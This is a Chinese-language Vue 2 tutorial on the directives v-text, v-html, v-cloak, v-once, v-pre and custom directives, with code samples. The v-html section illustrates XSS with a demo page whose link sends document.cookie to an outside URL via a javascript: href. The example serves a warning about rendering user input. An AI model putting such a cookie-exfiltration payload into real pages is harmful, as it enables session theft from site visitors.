Vue:其他指令
2.13.1、v-text
v-text
指令用于将数据填充到标签体当中,并且是以覆盖的形式填充。与原生JS中的 innerText
功能类似,填充的内容中即使存在HTML标签也只是会当做一个普通的字符串处理,不会解析。例如:
<div id="app"><p v-text="message"></p>
</div>
<script>javascript">const vm = new Vue({el: "#app",data: {message: "<strong>这是一段包含HTML标签的文本</strong>"}});
</script>
在上述代码中,页面显示的将是 <strong>这是一段包含HTML标签的文本</strong>
,而不会将 <strong>
标签解析为加粗样式。
2.13.2、v-html
v-html
同样将内容填充到标签体当中,且是以覆盖的形式。与 v-text
不同的是,它会将填充的内容当做HTML代码解析,功能等同于原生JS中的 innerHTML
。但需特别注意,v-html
不要用在用户提交的内容上,因为可能会导致XSS攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序,这些恶意网页程序通常是JavaScript。
例如:用户在留言中恶意植入以下信息:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8" /><title>Document</title><script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body><!-- 需求:简易版的留言板,并将留言进行展示--><div id="app"><h1>{{msg}},test</h1><ul><li><a href='javascript:location.href="http://www.baidu.com/?cookie?"+document.cookie'>点我给你看点好玩的</a></li><li v-for="(item,index) of myList" v-html="item" :key="index"></li></ul><textarea cols="30" rows="10" v-model.lazy="list"></textarea><button @click="send">提交</button></div><script>javascript">const vm = new Vue({data() {return {msg: "模拟xss攻击",myList: [],list: ""};},methods: {send() {this.myList.push(this.list);}}}).$mount("#app");</script>
</body>
</html>
若使用 v-html
直接展示用户提交的内容,恶意代码可能会被执行,从而窃取用户信息或进行其他恶意操作。为了避免XSS攻击,可以对用户输入进行严格的过滤和转义,只允许特定格式和安全的内容显示。
2.13.3 v-cloak
v-cloak
用于配置css样式来解决胡子(插值语法双大括号 {{}}
)的闪现问题。该指令使用在标签当中,当Vue实例接管之后会删除这个指令。
以下是一段CSS样式,可使当前页面中所有带有 v-cloak
属性的标签都隐藏起来:
[v-cloak] {display : none;
}
v-cloak
指令的基本原理是:在Vue实例完全接管DOM并完成编译之前,隐藏带有该指令的元素。当Vue实例初始化完成并开始编译模板时,会自动移除 v-cloak
指令。通过这种方式,我们可以避免在页面加载初期出现未编译的插值语法(双大括号 {{}}
)短暂显示的问题,即 “胡子的闪现问题”。
在前端开发中,“胡子的闪现问题” 通常是指在使用Vue等框架时,未编译的插值语法(双大括号 {{}}
)在页面加载初期短暂显示的现象,就好像页面上出现了 “胡子” 一闪而过。常见场景包括网络延迟场景和组件加载场景等。解决方法除了使用 v-cloak
指令外,还可以使用JavaScript表达式替代插值语法,或者优化加载顺序和性能。
示例代码如下:
<head><meta charset="UTF-8" /><title>Vue的其它指令</title><style>[v-cloak] {display: none;}</style>
</head>
<body><div id="app"><h1 v-cloak>{{msg}}</h1></div><script>javascript">// 晚3s引入vue.jssetTimeout(() => {let scriptElt = document.createElement("script");scriptElt.src = "./js/vue.js";document.head.append(scriptElt);}, 3000);// 晚4s创建vm实例setTimeout(() => {const vm = new Vue({el: "#app",data: {msg: "Vue的其它指令"}});}, 4000);</script>
</body>
在上述代码中,由于引入Vue.js和创建Vue实例有延迟,若不使用 v-cloak
,页面加载初期会短暂显示 {{msg}}
,使用后则不会出现该情况。
2.13.4 v-once
初次接触指令的时候已经学过 v-once
。该指令用于只渲染一次,之后该元素及其子元素将被视为静态内容,不再随数据变化而更新。例如:
<body><div id="app"><h1 v-cloak>{{msg}}</h1><!-- v-once 只执行一次,视为静态页面--><h2 v-once>{{num}}</h2><button @click="num++">点我+1</button><br></div><script>javascript">const vm = new Vue({el: "#app",data: {msg: "Vue的其它指令",num: 0}});</script>
</body>
点击按钮时,num
值会增加,但 v-once
修饰的 h2
标签内的 num
值不会更新,始终保持初始渲染的值。
2.13.5 v-pre
使用 v-pre
指令可以提高编译速度。带有该指令的标签将不会被编译。适用于没有Vue语法规则的标签中,以提高效率。但不要将它用在带有指令语法以及插值语法的标签中。例如:
<body><div id="app"><h1 v-cloak>{{msg}}</h1><!-- v-pre 不参与vue编译,提高效率 --><h1 v-pre>欢迎学习Vue框架!</h1><!-- v-once 只执行一次,视为静态页面--><h2 v-once>{{num}}</h2><button @click="num++">点我+1</button><br></div><script>javascript">const vm = new Vue({el: "#app",data: {msg: "Vue的其它指令",num: 0}});</script>
</body>
上述代码中,v-pre
修饰的 h1
标签内容不会被Vue编译,直接原样显示,从而节省了编译时间。
2.13.6、自定义指令
2.13.6.1 局部自定义指令
- 函数式
<body><div id="app"><h1>自定义指令</h1><!-- 需求1:自定义v-text-danger指令,将msg文字变红放入到div中 --><div v-text="msg"></div><div v-text-danger="msg"></div></div><script>javascript">const vm = new Vue({el: "#app",data: {msg: "自定义指令",username: "jackson"},// 配置自定义指定directives: {// 可以定义多个指令,‘,’隔开// 关于指令的名字:// 1. v- 不需要写。// 2. Vue官方建议指令的名字要全部小写。如果是多个单词的话,请使用 - 进行衔接。// 回调函数执行时机:第一个:标签和指令第一次绑定的时候。第二个:模板被重新解析的时候。// 回调函数两个参数:第一个参数是真实的dom元素。 第二个参数是标签与指令之间绑定关系的对象。//需求1 写法一、函数式'text-danger' : function(element, binding){console.log('@');element.innerText = binding.value;element.style.color = 'red';},//需求2:// 自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。 'bind-blue' : function(element, binding){element.value = binding.value;console.log(element);// 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,//但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。//不在页面中,就不会有他的父元素console.log(element.parentNode);element.parentNode.style.backgroundColor = 'blue';} }});</script>
</body>
在函数式自定义指令中,text-danger
指令实现了将绑定的值以红色文本显示在指定元素内。而 bind-blue
指令尝试实现类似 v-bind
的功能并设置父元素背景色为蓝色,但由于执行时元素可能尚未插入页面,获取父元素会返回 null
。
- 对象式
<body><div id="app"><!-- 需求2:自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。-->v-bind:用户名:<input type="text" v-bind:value="username" />v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div></div><script>javascript">const vm = new Vue({el: "#app",data: {msg: "自定义指令",username: "jackson"},// 配置自定义指定directives: {// 写法二 、对象式'bind-blue' : {// 这个对象中三个方法的名字不能随便写。这三个函数将来都会被自动调用。// 注意:在特定的时间节点调用特定的函数,这种被调用的函数称为钩子函数。// 元素与指令初次绑定的时候,自动调用bind (初次绑定时执行)bind(element, binding){element.value = binding.value;},// 元素被插入到页面之后,这个函数自动被调用。(插入页面时执行,多的一个执行时机inserted)inserted(element, binding){element.parentNode.style.backgroundColor = 'blue';},// 当模板重新解析的时候,这个函数会被自动调用。 (重新解析时执行)update(element, binding){element.value = binding.value;}} },});</script>
</body>
对象式自定义指令 bind-blue
通过 bind
、inserted
和 update
三个钩子函数,分别在指令与元素初次绑定、元素插入页面以及模板重新解析时执行相应操作,成功实现了类似 v-bind
的功能并设置父元素背景色。
2.13.6.2 全局自定义指令
<body><div id="app"><h1>自定义指令</h1><div v-text="msg"></div><div v-text-danger="msg"></div>v-bind:用户名:<input type="text" v-bind:value="username" /><br><div>v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div></div></div><hr><div id="app2"><div v-text-danger="msg"></div><div>用户名:<input type="text" v-bind-blue="username" /></div></div><script>javascript">// 定义全局的指令// 函数式Vue.directive("text-danger", function (element, binding) {//对于自定义指令来说,函数体当中的this是window,而不是vue实例。console.log(this);element.innerText = binding.value;element.style.color = "red";});// 对象式Vue.directive("bind-blue", {bind(element, binding) {element.value = binding.value;console.log(this);},inserted(element, binding) {element.parentNode.style.backgroundColor = "skyblue";console.log(this);},update(element, binding) {element.value = binding.value;console.log(this);}});const vm2 = new Vue({el: "#app2",data: {msg: "欢迎学习Vue框架!",username: "lucy"}});const vm= new Vue({el: "#app",data: {msg: "欢迎学习Vue框架!",username: "jack"}});</script>
</body>
全局自定义指令通过 Vue.directive
方法定义,在整个Vue应用中都可使用。如上述代码定义的 text-danger
和 bind-blue
指令,在 app
和 app2
两个Vue实例中都能生效,分别实现了将文本变红和类似 v-bind
并设置父元素背景色的功能。同时,在自定义指令函数体中,this
指向 window
,而非Vue实例,这一点在开发中需特别注意。